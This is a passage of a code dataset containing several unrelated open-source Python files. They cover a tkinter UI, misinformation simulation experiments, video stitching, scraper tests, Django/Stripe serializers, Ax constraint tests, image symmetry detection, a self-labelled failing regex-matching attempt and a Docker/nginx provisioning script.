__init__(self):\n self.root = tk.Tk()\n\n self.core_class = None\n \n self.label = tk.Label(self.root , text = \"RUN_IT\", font=('Arial', 32))\n self.label.pack(padx=10,pady=10)\n\n\n self.label = tk.Label(self.root , text = \"Put your file path\", font=('Arial', 10))\n self.label.pack(padx=10,pady=10)\n\n self.text_box = tk.Text(self.root, height = 2, font=('Arial',10))\n self.text_box.pack(padx=10 ,pady=10)\n\n self.check_state = tk.StringVar()\n self.check_state.set(\"onecompiler\")\n\n self.radio_box = tk.Radiobutton(self.root , text = \"Onecompiler\", font=('Arial',10),variable=self.check_state ,value = \"onecompiler\")\n self.radio_box.pack(padx=10,pady=10)\n\n self.radio_box = tk.Radiobutton(self.root , text = \"Programize\", font=('Arial',10),variable=self.check_state, value = \"programize\")\n self.radio_box.pack(padx=10,pady=10)\n\n self.run_btn = tk.Button(self.root , text = \"Run\" , font=('Arial' , 10), width=10 , command = self.run)\n self.run_btn.pack(padx=10,pady=10)\n\n self.quit_btn = tk.Button(self.root , text = \"Quit\" , font=('Arial' , 10), width=10 , command = self.quit_it)\n self.quit_btn.pack(padx=10,pady=10)\n\n self.root.protocol(\"WM_DELETE_WINDOW\", self.on_close)\n \n self.root.mainloop()\n\n def run(self):\n if self.core_class != None:\n self.core_class.quit_it()\n self.core_class = None \n \n state = self.check_state.get()\n file_path = self.text_box.get(\"1.0\", tk.END)\n\n print(\"file path \" , type(file_path), state)\n\n self.core_class = core.CoreInit(file_path, state)\n\n self.core_class.run_it()\n \n # print(self.check_state.get(), self.text_box.get(\"1.0\",tk.END))\n\n def quit_it(self):\n if self.core_class:\n self.core_class.quit_it()\n def on_close(self):\n self.quit_it()\n self.root.destroy()\n \n\n \n\nMyUI()\n","repo_name":"ashraf7hossain/run_it","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"27304724241","text":"import itertools\nimport os\nimport pandas as pd\nfrom misinfo_model import MisinfoPy\nfrom agents import *\nimport time\n\n\ndef calculate_avg_belief(misinfo_model):\n \"\"\"\n Calculates the average belief over all agents.\n :param misinfo_model: MisinfoPy\n :return: avg_belief: float\n \"\"\"\n topic_name = str(Topic.VAX)\n beliefs = []\n for agent in misinfo_model.schedule.agents:\n agent_belief_on_topic = agent.beliefs[topic_name]\n beliefs.append(agent_belief_on_topic)\n\n avg_belief = sum(beliefs) / len(beliefs)\n\n return avg_belief\n\n\ndef calculate_percentage_agents_above_threshold(misinfo_model, threshold):\n \"\"\"\n Calculates the percentage of agents that is above the specified threshold.\n :param misinfo_model: MisinfoPy\n :param threshold: float\n :return: float\n \"\"\"\n agent_beliefs = [a.beliefs[str(Topic.VAX)] for a in misinfo_model.schedule.agents]\n n_above = sum([1 for a_belief in agent_beliefs if a_belief >= threshold])\n percentage_above = n_above / len(misinfo_model.schedule.agents)\n return percentage_above\n\n\nif __name__ == '__main__':\n\n n_agents = 1000\n n_edges = 3\n max_run_length = 60\n n_replications = 12\n\n # Scenarios are different agent_ratios\n scenarios = [{NormalUser.__name__: 0.99, Disinformer.__name__: 0.01},\n {NormalUser.__name__: 0.95, Disinformer.__name__: 0.05},\n {NormalUser.__name__: 0.8, Disinformer.__name__: 0.2},\n {NormalUser.__name__: 0.25, Disinformer.__name__: 0.75}]\n\n # Policies are combinations of intervention values\n media_literacy_intervention_values = [(0.0, SelectAgentsBy.RANDOM),\n (0.1, SelectAgentsBy.RANDOM),\n (0.25, SelectAgentsBy.RANDOM)]\n ranking_intervention_values = [True, False]\n\n policies = list(itertools.product(media_literacy_intervention_values, ranking_intervention_values))\n\n for policy in policies:\n print(f'policy: {str(policy)}')\n\n # Printing\n start_time_seconds = time.time()\n start_time = time.localtime(time.time())\n human_understandable_time = time.strftime('%Y-%m-%d %H:%M:%S', start_time)\n print(f\"\\nStarting at time: {human_understandable_time}\")\n\n # Run Experiments\n for i, scenario in enumerate(scenarios): # Each scenario is 1 ratio of agent types\n # Set up data structures\n data = pd.DataFrame({\"Replication\": list(range(0, n_replications))})\n\n for j, policy in enumerate(policies):\n # Unpack policy\n media_literacy_intervention, ranking_intervention = policy\n\n # Set up data structure\n df_column = []\n\n for replication in range(n_replications):\n # Set up the model\n model = MisinfoPy(n_agents=n_agents,\n n_edges=n_edges,\n agent_ratio=scenario,\n media_literacy_intervention=media_literacy_intervention,\n ranking_intervention=ranking_intervention)\n\n # Save start data\n agents_belief_before = [agent.beliefs[str(Topic.VAX)] for agent in model.schedule.agents]\n\n # Run the model\n for tick in range(max_run_length):\n model.step()\n\n # Save end data\n agents_belief_after = [agent.beliefs[str(Topic.VAX)] for agent in model.schedule.agents]\n # save data from this replication\n replication_data = (agents_belief_before, agents_belief_after)\n df_column.append(replication_data)\n\n # Printing\n print(f\"replication {replication} done\")\n\n # Create policy columns\n policy_column = pd.Series(df_column, name=str(policy))\n # Save policy column into the dataframe\n data = data.join(policy_column)\n\n # Printing\n print(f\"policy {j} done\")\n\n # Save scenario data into a csv file\n directory = os.getcwd()\n path = directory + '/results/'\n\n file_name = \"belief_distr_\" + str(scenario) + \".csv\"\n data.to_csv(path + file_name)\n\n # Printing\n end_time = time.localtime(time.time())\n human_understandable_time = time.strftime('%Y-%m-%d %H:%M:%S', end_time)\n print(f\"Ending at time: {human_understandable_time}\")\n run_time = round(time.time() - start_time_seconds, 2)\n print(\n f\"\\nWith {max_run_length} steps, runtime is {run_time} seconds \"\n f\"--> roughly {round(run_time / 60 / 60, 2)} hours\")\n","repo_name":"felicity-reddel/abm_internship","sub_path":"experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"2540573655","text":"import cv2\nimport numpy as np\n\ncap1 = cv2.VideoCapture('../videos/_import_624e6ff9248421.46519419_preview.mp4')\ncap2 = cv2.VideoCapture('../videos/outputs4/output_one.mp4')\ncap3 = cv2.VideoCapture('../videos/outputs2/output_one.mp4')\n\nfourcc = cv2.VideoWriter_fourcc(*'mp4v')\nout = cv2.VideoWriter('combined.mp4', fourcc, cap1.get(cv2.CAP_PROP_FPS), (1280*3, 720))\n\nret1, ret2, ret3 = True, True, True\n\nwhile (ret1 and ret2 and ret3):\n ret1, img1 = cap1.read()\n ret2, img2 = cap2.read()\n ret3, img3 = cap3.read()\n\n\n if (ret1 and ret2 and ret3):\n out.write(np.hstack([img1, img2, img3]))\n\nout.release()\n\n# ffmpeg -i combined.mp4 -c:v libx264 -preset slow -crf 22 -c:a copy combined_new.mp4","repo_name":"rohit-krish/Background-Segmentation","sub_path":"scripts/combine_videos.py","file_name":"combine_videos.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"22706855370","text":"import pytest\nfrom requests import Session, Response\n\nfrom parser.base import BaseParser, extract_links\n\nyandex_page_content = None\nwith open('ya.html') as f:\n yandex_page_content = f.read()\n\n\n@pytest.fixture\ndef web_response(monkeypatch):\n def se_response(*args, **kwargs):\n response = Response()\n response.status_code = 200\n response._content = bytearray(yandex_page_content, 'utf8')\n return response\n\n monkeypatch.setattr(Session, 'get', se_response)\n\n\nclass TestBaseParser:\n def setup(self):\n self.bp = BaseParser(10, True)\n\n def test_build_init_url(self):\n self.bp.scheme = 'https'\n self.bp.netloc = 'yandex.ru'\n self.bp.path = 'search'\n self.bp.query_param = 'text'\n url = self.bp._build_init_url('pytest')\n\n assert url == 'https://yandex.ru/search?text=pytest'\n\n def test_make_request(self):\n self.bp.scheme = 'https'\n self.bp.netloc = 'yandex.ru'\n self.bp.path = 'search'\n self.bp.query_param = 'text'\n url = self.bp._build_init_url('pytest')\n\n result = self.bp._make_request(url)\n assert result is True\n\n\ndef test_extract_links():\n bp = BaseParser(10, True)\n bp.scheme = 'https'\n bp.netloc = 'yandex.ru'\n bp.path = 'search'\n bp.query_param = 'text'\n url = bp._build_init_url('pytest')\n\n bp._make_request(url)\n links = extract_links(bp.doc, 'li.serp-item > div.organic a.link.organic__url')\n assert isinstance(links, list)\n\n\nclass YandexParser(BaseParser):\n scheme = 'https'\n netloc = 'yandex.ru'\n path = 'search'\n query_param = 'text'\n item_selector = 'li.serp-item > div.organic a.link.organic__url'\n next_page_selector = 'div.pager > a.pager__item_kind_next'\n captcha_selector = 'form.form_error_no'\n\n\nclass TestLenearYandexParser:\n parser = YandexParser(10, False)\n\n def test_search(self):\n result = self.parser.search('pytest')\n assert isinstance(result, list)\n assert len(result)\n","repo_name":"aleksandernovikov/otus2","sub_path":"test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40578709470","text":"from django.contrib.auth.models import User\nfrom lists.models import EventList, Item, Pledge\nfrom rest_framework import serializers\nfrom users.serializers import UserSerializer\nimport stripe\n\n\nclass EventListSerializer(serializers.ModelSerializer):\n owner = UserSerializer(read_only=True)\n\n class Meta:\n model = EventList\n fields = ('name', 'owner', 'active', 'shipping_address', 'created_at')\n\n\nclass ItemSerializer(serializers.ModelSerializer):\n event_list = EventListSerializer()\n\n class Meta:\n model = Item\n fields = ('name', 'link', 'image_link', 'price', 'event_list',\n 'created_at', 'modified_at')\n\n\nclass PledgeSerializer(serializers.ModelSerializer):\n owner = UserSerializer(read_only=True)\n token = serializers.CharField(max_length=30, write_only=True, required=True)\n\n def create(self, validated_data):\n \"\"\"\n This overrides to insert stripe calls to convert the one use token\n into a full charge token\n :param validated_data:\n :return:\n \"\"\"\n token = validated_data.pop(\"token\")\n amount = int(validated_data['amount']) * 100\n\n charge = stripe.Charge.create(amount=amount, currency=\"usd\",\n source=token,\n description=\"Payment for item {}\"\n .format(validated_data['item'].id))\n\n return Pledge.objects.create(charge_id=charge.stripe_id,\n status=Pledge.CAPTURED,\n **validated_data)\n\n class Meta:\n model = Pledge\n fields = ('amount', 'item', 'owner', 'token', 'created_at',\n 'modified_at')\n\n","repo_name":"gift-list/giftlist-api","sub_path":"lists/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"35926263011","text":"from ax.core.parameter import (\n ChoiceParameter,\n FixedParameter,\n ParameterType,\n RangeParameter,\n)\nfrom ax.core.parameter_constraint import (\n ComparisonOp,\n OrderConstraint,\n ParameterConstraint,\n SumConstraint,\n)\nfrom ax.utils.common.testutils import TestCase\n\n\nclass ParameterConstraintTest(TestCase):\n def setUp(self):\n self.constraint = ParameterConstraint(\n constraint_dict={\"x\": 2.0, \"y\": -3.0}, bound=6.0\n )\n self.constraint_repr = \"ParameterConstraint(2.0*x + -3.0*y <= 6.0)\"\n\n def testEq(self):\n constraint1 = ParameterConstraint(\n constraint_dict={\"x\": 2.0, \"y\": -3.0}, bound=6.0\n )\n constraint2 = ParameterConstraint(\n constraint_dict={\"y\": -3.0, \"x\": 2.0}, bound=6.0\n )\n self.assertEqual(constraint1, constraint2)\n\n constraint3 = ParameterConstraint(\n constraint_dict={\"x\": 2.0, \"y\": -5.0}, bound=6.0\n )\n self.assertNotEqual(constraint1, constraint3)\n\n def testProperties(self):\n self.assertEqual(self.constraint.constraint_dict[\"x\"], 2.0)\n self.assertEqual(self.constraint.bound, 6.0)\n\n def testRepr(self):\n self.assertEqual(str(self.constraint), self.constraint_repr)\n\n def testValidate(self):\n parameters = {\"x\": 4, \"z\": 3}\n with self.assertRaises(ValueError):\n self.constraint.check(parameters)\n\n parameters = {\"x\": 4, \"y\": 1}\n self.assertTrue(self.constraint.check(parameters))\n\n self.constraint.bound = 4.0\n self.assertFalse(self.constraint.check(parameters))\n\n def testClone(self):\n constraint_clone = self.constraint.clone()\n self.assertEqual(self.constraint.bound, constraint_clone.bound)\n\n constraint_clone._bound = 7.0\n self.assertNotEqual(self.constraint.bound, constraint_clone.bound)\n\n def testCloneWithTransformedParameters(self):\n constraint_clone = self.constraint.clone_with_transformed_parameters(\n transformed_parameters={}\n )\n self.assertEqual(self.constraint.bound, constraint_clone.bound)\n\n constraint_clone._bound = 7.0\n self.assertNotEqual(self.constraint.bound, constraint_clone.bound)\n\n\nclass OrderConstraintTest(TestCase):\n def setUp(self):\n self.x = RangeParameter(\"x\", ParameterType.INT, lower=0, upper=1)\n self.y = RangeParameter(\"y\", ParameterType.INT, lower=0, upper=1)\n self.constraint = OrderConstraint(\n lower_parameter=self.x, upper_parameter=self.y\n )\n self.constraint_repr = \"OrderConstraint(x <= y)\"\n\n def testProperties(self):\n self.assertEqual(self.constraint.lower_parameter.name, \"x\")\n self.assertEqual(self.constraint.upper_parameter.name, \"y\")\n\n def testRepr(self):\n self.assertEqual(str(self.constraint), self.constraint_repr)\n\n def testValidate(self):\n self.assertTrue(self.constraint.check({\"x\": 0, \"y\": 1}))\n self.assertTrue(self.constraint.check({\"x\": 1, \"y\": 1}))\n self.assertFalse(self.constraint.check({\"x\": 1, \"y\": 0}))\n\n def testClone(self):\n constraint_clone = self.constraint.clone()\n self.assertEqual(\n self.constraint.lower_parameter, constraint_clone.lower_parameter\n )\n\n constraint_clone._lower_parameter = self.y\n self.assertNotEqual(\n self.constraint.lower_parameter, constraint_clone.lower_parameter\n )\n\n def testCloneWithTransformedParameters(self):\n constraint_clone = self.constraint.clone_with_transformed_parameters(\n transformed_parameters={p.name: p for p in self.constraint.parameters}\n )\n self.assertEqual(\n self.constraint.lower_parameter, constraint_clone.lower_parameter\n )\n\n constraint_clone._lower_parameter = self.y\n self.assertNotEqual(\n self.constraint.lower_parameter, constraint_clone.lower_parameter\n )\n\n def testInvalidSetup(self):\n z = FixedParameter(\"z\", ParameterType.INT, 0)\n with self.assertRaises(ValueError):\n self.constraint = OrderConstraint(lower_parameter=self.x, upper_parameter=z)\n\n z = ChoiceParameter(\"z\", ParameterType.STRING, [\"a\", \"b\", \"c\"])\n with self.assertRaises(ValueError):\n self.constraint = OrderConstraint(lower_parameter=self.x, upper_parameter=z)\n\n\nclass SumConstraintTest(TestCase):\n def setUp(self):\n self.x = RangeParameter(\"x\", ParameterType.INT, lower=-5, upper=5)\n self.y = RangeParameter(\"y\", ParameterType.INT, lower=-5, upper=5)\n self.constraint1 = SumConstraint(\n parameters=[self.x, self.y], is_upper_bound=True, bound=5\n )\n self.constraint2 = SumConstraint(\n parameters=[self.x, self.y], is_upper_bound=False, bound=-5\n )\n\n self.constraint_repr1 = \"SumConstraint(x + y <= 5.0)\"\n self.constraint_repr2 = \"SumConstraint(x + y >= -5.0)\"\n\n def testBadConstruct(self):\n with self.assertRaises(ValueError):\n SumConstraint(parameters=[self.x, self.x], is_upper_bound=False, bound=-5.0)\n z = ChoiceParameter(\"z\", ParameterType.STRING, [\"a\", \"b\", \"c\"])\n with self.assertRaises(ValueError):\n self.constraint = SumConstraint(\n parameters=[self.x, z], is_upper_bound=False, bound=-5.0\n )\n\n def testProperties(self):\n self.assertEqual(self.constraint1.op, ComparisonOp.LEQ)\n self.assertEqual(self.constraint2.op, ComparisonOp.GEQ)\n\n def testRepr(self):\n self.assertEqual(str(self.constraint1), self.constraint_repr1)\n self.assertEqual(str(self.constraint2), self.constraint_repr2)\n\n def testValidate(self):\n self.assertTrue(self.constraint1.check({\"x\": 1, \"y\": 4}))\n self.assertTrue(self.constraint1.check({\"x\": 4, \"y\": 1}))\n self.assertFalse(self.constraint1.check({\"x\": 1, \"y\": 5}))\n\n self.assertTrue(self.constraint2.check({\"x\": -4, \"y\": -1}))\n self.assertTrue(self.constraint2.check({\"x\": -1, \"y\": -4}))\n self.assertFalse(self.constraint2.check({\"x\": -5, \"y\": -1}))\n\n def testClone(self):\n constraint_clone = self.constraint1.clone()\n self.assertEqual(self.constraint1.bound, constraint_clone.bound)\n\n constraint_clone._bound = 7.0\n self.assertNotEqual(self.constraint1.bound, constraint_clone.bound)\n\n constraint_clone_2 = self.constraint2.clone()\n self.assertEqual(self.constraint2.bound, constraint_clone_2.bound)\n\n def testCloneWithTransformedParameters(self):\n constraint_clone = self.constraint1.clone_with_transformed_parameters(\n transformed_parameters={p.name: p for p in self.constraint1.parameters}\n )\n self.assertEqual(self.constraint1.bound, constraint_clone.bound)\n\n constraint_clone._bound = 7.0\n self.assertNotEqual(self.constraint1.bound, constraint_clone.bound)\n","repo_name":"markohuang/rafa-predictive-model","sub_path":"Ax-0.1.13/ax/core/tests/test_parameter_constraint.py","file_name":"test_parameter_constraint.py","file_ext":"py","file_size_in_byte":6958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"6224767972","text":"\"\"\"\nPerforms symmetry detection on an image using SIFT for keypoint detection and a voting mechanism in the Hough space for line of symmetry detection.\nFirst, it computes the keypoints and descriptors of the image and its mirror image. Then, it matches these keypoints and for each match, it computes the midpoint, the angle with the x-axis, and the 'r' value in polar coordinates. It then votes for this line in the Hough space using a weight computed from the Reisfeld function and the 'S' function.\nFinally, it returns the coordinates of the most voted for line in the Hough space.\nNote: To visualize the voting process in the Hough space, set plot=True. This will display a 3D histogram where the most voted for line of symmetry is indicated by bright orange/red. Manually get the coordinates, and re-run but this time uncomment draw/imshow.\nParameters:\n image (ndarray): The input image.\n plot (bool): If True, plots a 3D histogram of the voting process in the Hough space.\nReturns:\n tuple: The coordinates of the most voted for line in the Hough space.\n\"\"\"\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy import ndarray\n\nsift = cv2.SIFT_create()\n\n\ndef very_close(a, b, tol=4.0):\n \"\"\"Checks if the points a, b are within\n tol distance of each other.\"\"\"\n return np.sqrt((a[0] - b[0]) ** 2 + (a[1] - b[1]) ** 2) < tol\n\n\ndef S(si, sj, sigma=1):\n \"\"\"Computes the 'S' function mentioned in\n the research paper.\"\"\"\n q = (-abs(si - sj)) / (sigma * (si + sj))\n return np.exp(q ** 2)\n\n\ndef reisfeld(phi, phj, theta):\n return 1 - np.cos(phi + phj - 2 * theta)\n\n\ndef midpoint(i, j):\n return (i[0] + j[0]) / 2, (i[1] + j[1]) / 2\n\n\ndef angle_with_x_axis(i, j):\n x, y = i[0] - j[0], i[1] - j[1]\n if x == 0:\n return np.pi / 2\n angle = np.arctan(y / x)\n if angle < 0:\n angle += np.pi\n return angle\n\n\ndef superm2(image, plot=False):\n mimage = np.fliplr(image)\n kp1, des1 = sift.detectAndCompute(image, None)\n kp2, des2 = sift.detectAndCompute(mimage, None)\n for p, mp in zip(kp1, kp2):\n p.angle = np.deg2rad(p.angle)\n mp.angle = np.deg2rad(mp.angle)\n bf = cv2.BFMatcher()\n matches = bf.knnMatch(des1, des2, k=2)\n houghr = np.zeros(len(matches))\n houghth = np.zeros(len(matches))\n weights = np.zeros(len(matches))\n i = 0\n good = []\n for match, match2 in matches:\n point = kp1[match.queryIdx]\n mirpoint = kp2[match.trainIdx]\n mirpoint2 = kp2[match2.trainIdx]\n mirpoint2.angle = np.pi - mirpoint2.angle\n mirpoint.angle = np.pi - mirpoint.angle\n if mirpoint.angle < 0.0:\n mirpoint.angle += 2 * np.pi\n if mirpoint2.angle < 0.0:\n mirpoint2.angle += 2 * np.pi\n mirpoint.pt = (mimage.shape[1] - mirpoint.pt[0], mirpoint.pt[1])\n if very_close(point.pt, mirpoint.pt):\n mirpoint = mirpoint2\n good.append(match2)\n else:\n good.append(match)\n theta = angle_with_x_axis(point.pt, mirpoint.pt)\n xc, yc = midpoint(point.pt, mirpoint.pt)\n r = xc * np.cos(theta) + yc * np.sin(theta)\n Mij = reisfeld(point.angle, mirpoint.angle, theta) * S(\n point.size, mirpoint.size\n )\n houghr[i] = r\n houghth[i] = theta\n weights[i] = Mij\n i += 1\n # matches = sorted(matches, key = lambda x:x.distance)\n good = sorted(good, key=lambda x: x.distance)\n\n # img3 = cv2.drawMatches(image, kp1, mimage, kp2, good[:15], None, flags=2)\n\n # print(*(m.distance for m in matches[:10]))\n # cv2.imshow('a',img3); cv2.waitKey(0);\n def hex():\n if plot:\n plt.hexbin(houghr, houghth, bins=200, gridsize=50)\n plt.show()\n pcol = plt.hexbin(houghr, houghth, bins=200, gridsize=50)\n # get the most density bin from the hexbin plot\n max_ = pcol.get_array().max()\n max_pos = pcol.get_array().argmax()\n\n # return the coordination of the bin which act as (r,theta)\n pos_x, pos_y = pcol.get_offsets()[max_pos]\n plt.text(pos_x, pos_y, max_, color='w')\n return round(float(pos_x), 2), round(float(pos_y), 2)\n\n return hex()\n\n # draw(2.8, 2.4)\n # cv2.imshow('a', image); cv2.waitKey(0);\n\n\ndef draw(image: ndarray, r, theta):\n result = image.copy()\n if np.pi / 4 < theta < 3 * (np.pi / 4):\n for x in range(len(result.T)):\n y = int((r - x * np.cos(theta)) / np.sin(theta))\n if 0 <= y < len(result.T[x]):\n result[y][x] = 255\n else:\n for y in range(len(result)):\n x = int((r - y * np.sin(theta)) / np.cos(theta))\n if 0 <= x < len(result[y]):\n result[y][x] = 255\n return result.copy()\n","repo_name":"vitahoang/cs50-2020","sub_path":"final/symetry.py","file_name":"symetry.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"12705784986","text":"# 请实现一个函数用来匹配包含'. '和'*'的正则表达式。模式中的字符'.'表示任意一个字符,而'*'表示它前面的字符可以出现任意次(含0次)。\n# 在本题中,匹配是指字符串的所有字符匹配整个模式。例如,字符串\"aaa\"与模式\"a.a\"和\"ab*ac*a\"匹配,但与\"aa.a\"和\"ab*a\"均不匹配。\n#\n# 示例 1:\n#\n# 输入:\n# s = \"aa\"\n# p = \"a\"\n# 输出: false\n# 解释: \"a\" 无法匹配 \"aa\" 整个字符串。\n# 示例 2:\n#\n# 输入:\n# s = \"aa\"\n# p = \"a*\"\n# 输出: true\n# 解释:因��� '*' 代表可以匹配零个或多个前面的那一个元素, 在这里前面的元素就是 'a'。因此,字符串 \"aa\" 可被视为 'a' 重复了一次。\n# 示例3:\n#\n# 输入:\n# s = \"ab\"\n# p = \".*\"\n# 输出: true\n# 解释:\".*\" 表示可匹配零个或多个('*')任意字符('.')。\n# 示例 4:\n#\n# 输入:\n# s = \"aab\"\n# p = \"c*a*b\"\n# 输出: true\n# 解释:因为 '*' 表示零个或多个,这里 'c' 为 0 个, 'a' 被重复一次。因此可以匹配字符串 \"aab\"。\n# 示例 5:\n#\n# 输入:\n# s = \"mississippi\"\n# p = \"mis*is*p*.\"\n# 输出: false\n# s可能为空,且只包含从a-z的小写字母。\n# p可能为空,且只包含从a-z的小写字母以及字符.和*,无连续的 '*'。\n#\nclass Solution:\n def isMatch(self, s: str, p: str) -> bool:\n\n\n s_list=[]\n p_list=[]\n for i in s:\n s_list.append(i)\n for i in p:\n p_list.append(i)\n\n while True:\n\n if len(s_list) == 0:\n if len(p_list) == 0:\n return True\n while p_list[-1] == '*': #空串——a*b*c*\n p_list = p_list[:-2]\n if len(p_list) == 0:\n return True\n return False\n\n if len(p_list) == 0:\n if len(s_list) == 0:\n return True\n else:\n return False\n\n if len(p_list)==1:\n if p_list[0]=='.' and len(s_list)==1:\n return True\n\n if s_list[0]==p_list[0] and len(p_list)==1:\n s_list.pop(0)\n p_list.pop(0)\n elif s_list[0]==p_list[0] and p_list[1]!='*':\n s_list.pop(0)\n p_list.pop(0)\n elif p_list[0]=='.' and p_list[1]!='*':\n s_list.pop(0)\n p_list.pop(0)\n\n elif p_list[1]=='*' and p_list[0]=='.':\n p_list.pop(0)\n p_list.pop(0)\n test = s_list.copy()\n test.insert(0, s_list[0])\n for i in range(len(s_list)+1):\n test.pop(0)\n test_string=''.join([str(item) for item in test])#converting list to string\n new_p_strin=''.join([str(item) for item in p_list])#converting list to string\n if Solution().isMatch(test_string, new_p_strin):\n return True\n elif p_list[1]=='*' and p_list[0]!='.':\n charac=p_list[0]\n p_list.pop(0)\n p_list.pop(0)\n test = s_list.copy()\n test.insert(0, s_list[0])\n while s_list[0]==charac:\n test.pop(0)\n test_string = ''.join([str(item) for item in test]) # converting list to string\n new_p_strin = ''.join([str(item) for item in p_list]) # converting list to string\n if Solution().isMatch(test_string, new_p_strin):\n return True\n elif s_list[0]!=p_list[0]:\n if len(s_list)>1 and len(p_list)>1:\n if p_list[1]!=s_list[1]:\n return False\n return False\n\n\nprint(Solution().isMatch(\"aab\",\"c*a*b\"))\n\n\n#Not Passed","repo_name":"JordannnnnPeng/LeetCode","sub_path":"2021.8.5_剑指OFFER_19_正则表达式匹配/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25101334575","text":"#!/usr/bin/python3 \n# Credit https://github.com/oskarhane/dockerpress Written by Oskar Hane \n# Credit http://geraldkaszuba.com/quickly-ssh-into-a-docker-container/\n\nimport subprocess\nimport sys\nimport re\nimport shutil\nimport json\n\nfrom optparse import OptionParser\n\ndef create_nginx_config(container_id):\n command = [\"docker ps | grep \" + container_id[:6]]\n p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n d_str = output.decode(\"utf-8\")\n p.stdout.close()\n domain = re.findall('\\s([\\S]+)\\s*$', d_str)\n\n port = get_docker_port(container_id[:6],80)\n if not(port):\n return 'Port 80 not open'\n print ('{0} {1} {2}'.format(container_id[:6], domain[0], port))\n conf_test = write_and_test_nginx_config(container_id[:6], domain[0], port)\n if not(conf_test):\n return 'Error in Nginx config. Check file.'\n return True\n\n#Expected response Testing nginx configuration: nginx.\ndef write_and_test_nginx_config(container_id, url, port):\n conf_dir = '/etc/nginx/sites-enabled/'\n fail_dir = '/etc/nginx/sites-available/'\n\n conf_str = get_nginx_conf(container_id, url, port)\n f = open(conf_dir + url, 'w+')\n f.write(conf_str)\n f.close()\n\n test_command = [\"/etc/init.d/nginx configtest\"]\n p_ok = subprocess.Popen(test_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n ok_output, err = p_ok.communicate()\n err_response = err.decode(\"utf-8\")\n p_ok.stdout.close()\n p_ok.stderr.close()\n if not(re.search('(failed)', err_response)):\n return True\n else:\n shutil.move(conf_dir + url, fail_dir + url)\n return False\n\ndef get_port_from_address(address):\n port = re.search(':([0-9]+)\\s*$', address).group(1)\n return port\n\n\ndef get_nginx_conf(container_id, url, http_port):\n listen_str = 'upstream ' + container_id + \" {\\n\"\n listen_str += \"\\tserver 127.0.0.1:\" + http_port + \";\\n}\\n\" \n listen_str += 'server {\\n'\n listen_str += \"\\tlisten 80;\\n\"\n listen_str += \"\\tserver_name \" + url + \";\\n\"\n listen_str += \"\\tlocation / {\\n\"\n listen_str += \"\\t\\tproxy_pass http://\" + container_id + \";\\n\"\n listen_str += \"\\t\\tproxy_set_header X-Real-IP $remote_addr;\\n\"\n listen_str += \"\\t\\tproxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\\n\"\n listen_str += \"\\t\\tproxy_set_header X-NginX-Proxy true;\\n\"\n listen_str += \"\\t\\tproxy_set_header Host $host;\\n\"\n listen_str += \"\\t\\tproxy_redirect off;\\n\"\n listen_str += \"\\t}\\n\"\n listen_str += \"}\"\n\n return listen_str\n\ndef create_docker_action(options):\n if not (options.url):\n parser.error(\"You must provide a URL to create a site for\")\n if not (re.search('^([a-z0-9\\.-]+\\.[a-z]{2,4})$', options.url)):\n parser.error('The given url is not a valid domain')\n \n create_project_specifc_dockerfile(options.project_code,options.maintainer)\n image_tag = create_docker_project_image(options.project_code)\n container_id = create_docker_container(options.url, image_tag)\n print (\"Container created: {0}\".format(container_id))\n nginx_conf = create_nginx_config(container_id)\n\n if(nginx_conf == True):\n print('All ok, you can safetly reload nginx now. service nginx reload')\n else:\n print('Nginx config failed. Please check file /etc/nginx/sites-available/' + options.url)\n print (nginx_conf)\n\ndef get_docker_port(container_id,container_port):\n command = ['docker port {} {}'.format(container_id,container_port)]\n output = subprocess.check_output(command, shell=True).decode('utf-8')\n #subprocess.stdout.close()\n return get_port_from_address(output)\n\ndef create_project_specifc_dockerfile(project_code,maintainer):\n dockerfile_content = \"\"\"\n FROM {image}\n MAINTAINER {maintainer}\n ENV PROJECT_CODE {project_code}\n\n ADD ./id_rsa_$PROJECT_CODE.pub /root/.ssh/\n ADD ./supervisord.conf /etc/supervisor/conf.d/supervisord.conf\n\n RUN cat /root/.ssh/id_rsa_$PROJECT_CODE.pub >> /root/.ssh/authorized_keys\n RUN chmod 600 /root/.ssh/authorized_keys\n\n RUN echo \"$PROJECT_CODE\" >>/home/index.html\n CMD [\"/usr/bin/supervisord\"]\n\n \"\"\".format(project_code=project_code,image=\"open-platform-hk/bootstrap:0.1\", maintainer=maintainer)\n print (\"result dockerfile:\")\n print (dockerfile_content)\n ##Docker don't support other file name while with context \n target=open (\"Dockerfile\",'w')\n target.write(dockerfile_content)\n target.close\n\ndef create_docker_project_image(project_code):\n tag = project_code+\":0.1\"\n command = [\"docker build -t {tag} .\".format(tag=tag)]\n p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n container_id = output.decode(\"utf-8\")\n p.stdout.close()\n return tag\n\ndef create_docker_container(url,image_tag):\n image = image_tag\n command = [\"docker run -d -t -i -p 80 -p 22 --name '{url}' {image}\".format( url=url,image=image)]\n p = subprocess.Popen(command, stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True)\n output, err = p.communicate()\n container_id = output.decode(\"utf-8\")\n\n ##TODO err handling\n p.stderr.close()\n p.stdout.close()\n return container_id\n\nif 